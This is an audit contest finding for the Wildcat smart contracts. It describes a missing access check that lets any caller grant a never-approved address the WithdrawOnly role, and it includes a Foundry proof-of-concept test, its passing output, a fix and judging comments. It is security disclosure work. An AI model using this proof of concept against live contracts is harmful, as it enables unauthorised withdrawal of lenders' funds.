Platform: Code4rena
Start Date: 16/10/2023
Pot Size: $60,500 USDC
Total HM: 16
Participants: 131
Period: 10 days
Judge: 0xTheC0der
Total Solo HM: 3
Id: 296
League: ETH
Rank: 107/131
Findings: 1
Award: $6.56
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xStalin
Also found by: 0xCiphky, 0xComfyCat, 0xbepresent, 3docSec, Eigenvectors, Fulum, HChang26, Infect3d, QiuhaoLi, SandNallani, SovaSlava, TrungOre, YusSecurity, ZdravkoHr, ast3ros, ayden, bdmcbri, cu5t0mpeo, elprofesor, gizzy, jasonxiale, kodyvim, marqymarq10, max10afternoon, nisedo, nobody2018, radev_sw, rvierdiiev, serial-coder, xeros
6.5602 USDC - $6.56
A missing access check in the WildcatMarketController
leads to arbitrary accounts gaining WithdrawalOnly
permissions. This allows any account with market tokens to withdrawal funds in violation of the system design.
On the WildcatMarketController
contract a unprivileged user can call updateLenderAuthorization
:
function updateLenderAuthorization(address lender, address[] memory markets) external { for (uint256 i; i < markets.length; i++) { address market = markets[i]; if (!_controlledMarkets.contains(market)) { revert NotControlledMarket(); } WildcatMarket(market).updateAccountAuthorization(lender, _authorizedLenders.contains(lender)); //[1] } }
updateAccountAuthorization
in WildcatMarketConfig.sol
will call _getAccount()
on supplied lender address:
function updateAccountAuthorization( address _account, bool _isAuthorized ) external onlyController nonReentrant { MarketState memory state = _getUpdatedState(); Account memory account = _getAccount(_account); //[2] if (_isAuthorized) { account.approval = AuthRole.DepositAndWithdraw; } else { account.approval = AuthRole.WithdrawOnly; //[4] } _accounts[_account] = account; _writeState(state); emit AuthorizationStatusUpdated(_account, account.approval); }
_getAccount
in WildcatMarketBase.sol
will look up the account in the _accounts
mapping and revert if the account.approval == AuthRole.Blocked
:
function _getAccount(address accountAddress) internal view returns (Account memory account) { account = _accounts[accountAddress]; if (account.approval == AuthRole.Blocked) { //[3] revert AccountBlacklisted(); } }
The problem is that if the accountAddress
has not been initialized in the _accounts
mapping then account.approval
will be 0, equivalent to AuthRole.Null
:
enum AuthRole { Null, Blocked, WithdrawOnly, DepositAndWithdraw }
This results in the account.approval
getting set to AuthRole.WithdrawOnly
in updateAccountAuthorization
([4]
above), even though the accountAddress
was never an approved lender. The accountAddress
would now be able to withdraw Market Tokens that are transferred to it in violation the intended design of the system as described: "assets of a market should never be able to be withdrawn by anyone that is not the borrower or a lender with either the WithdrawOnly
 or DepositAndWithdraw
 role."
The following diagram shows the account approval state machine and transitions. The red arrow is the transition that is problematic in the current system.
An account that has NEVER been an approved lender could withdraw funds if market tokens are transferred to it. This violates two of the "Main Invariants":
WithdrawOnly
 or DepositAndWithdraw
 role."WithdrawOnly
 or DepositAndWithdraw
 should never be able to adjust market token supply."Additionally, an address that is sanctioned, but not yet in escrow could use this as a mechanism to avoid sanctions.
diff --git a/test/WildcatMarketController.t.sol b/test/WildcatMarketController.t.sol index 63f06c2..8cba223 100644 --- a/test/WildcatMarketController.t.sol +++ b/test/WildcatMarketController.t.sol @@ -355,4 +355,42 @@ contract WildcatMarketControllerTest is BaseMarketTest, IWildcatMarketController _check(DefaultInterest - 1, DefaultReserveRatio, 0, 0); } + + function test_updateLenderAuthorization() public { + assert(!controller.isAuthorizedLender(address(this))); + assert(controller.getControlledMarkets().length != 0); + + //alice lends money + _deposit(alice, 50_000e18); + + //then transfers some of the market tokens; this should be allowed + vm.prank(alice); + market.transfer(address(this), 25_000e18); + + //However, address(this) is not approved as a lender (and never has been), so cannot withdraw + //from the market even though alice transferred the market tokens. This is as designed. "The + //assets of a market should never be able to be withdrawn by anyone that is not the borrower + //or a lender with either the `WithdrawOnly` or `DepositAndWithdraw` role" + address[] memory _markets = controller.getControlledMarkets(); + //Account role prior to call + for (uint256 i=0; i < _markets.length; i++) { + console2.log("Initial account approval for address(this): %d", uint256(WildcatMarket(_markets[i]).getAccountRole(address(this)))); + } + //This withdrawal should fail (as designed) + vm.expectRevert(NotApprovedLender.selector); + market.queueWithdrawal(25_000e18); + console2.log("Attempting to withdraw ... failed as expected"); + + //Exercise bug in the account approval state machine + controller.updateLenderAuthorization(address(this), controller.getControlledMarkets()); + + //Account role after the call + for (uint256 i=0; i < _markets.length; i++) { + console2.log("Updated account approval for address(this): %d", uint256(WildcatMarket(_markets[i]).getAccountRole(address(this)))); + } + + //Now withdrawing should succeed, violating the design + market.queueWithdrawal(25_000e18); + console2.log("Second attempt to withdraw succeeds"); + } }
Output:
$ forge test -vvv --match-test test_updateLenderAuthorization [â ‘] Compiling... [â ”] Compiling 1 files with 0.8.21 [â ’] Solc 0.8.21 finished in 6.66s Compiler run successful with warnings: Warning (1699): "selfdestruct" has been deprecated. The underlying opcode will eventually undergo breaking changes, and its use is not recommended. --> test/helpers/VmUtils.sol:29:7: | 29 | selfdestruct(caller()) | ^^^^^^^^^^^^ Warning (2018): Function state mutability can be restricted to pure --> test/WildcatMarketController.t.sol:83:3: | 83 | function _getLenders() internal view returns (address[] memory lenders) { | ^ (Relevant source part starts here and spans across multiple lines). Running 1 test for test/WildcatMarketController.t.sol:WildcatMarketControllerTest [PASS] test_updateLenderAuthorization() (gas: 423817) Logs: Initial account approval for address(this): 0 Attempting to withdraw ... failed as expected Updated account approval for address(this): 2 Second attempt to withdraw succeeds Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.44ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual audit. Foundry was used to test the vulnerability.
Add the onlyBorrower
modifier to updateLenderAuthorization
function in WildcatMarketController
.
Access Control
#0 - c4-pre-sort
2023-10-27T08:57:47Z
minhquanym marked the issue as duplicate of #155
#1 - c4-judge
2023-11-07T12:58:32Z
MarioPoneder marked the issue as satisfactory
#2 - c4-judge
2023-11-14T13:59:00Z
MarioPoneder changed the severity to 3 (High Risk)
#3 - c4-judge
2023-11-14T14:00:19Z
MarioPoneder marked the issue as partial-50
#4 - c4-judge
2023-11-14T14:02:32Z
MarioPoneder marked the issue as duplicate of #266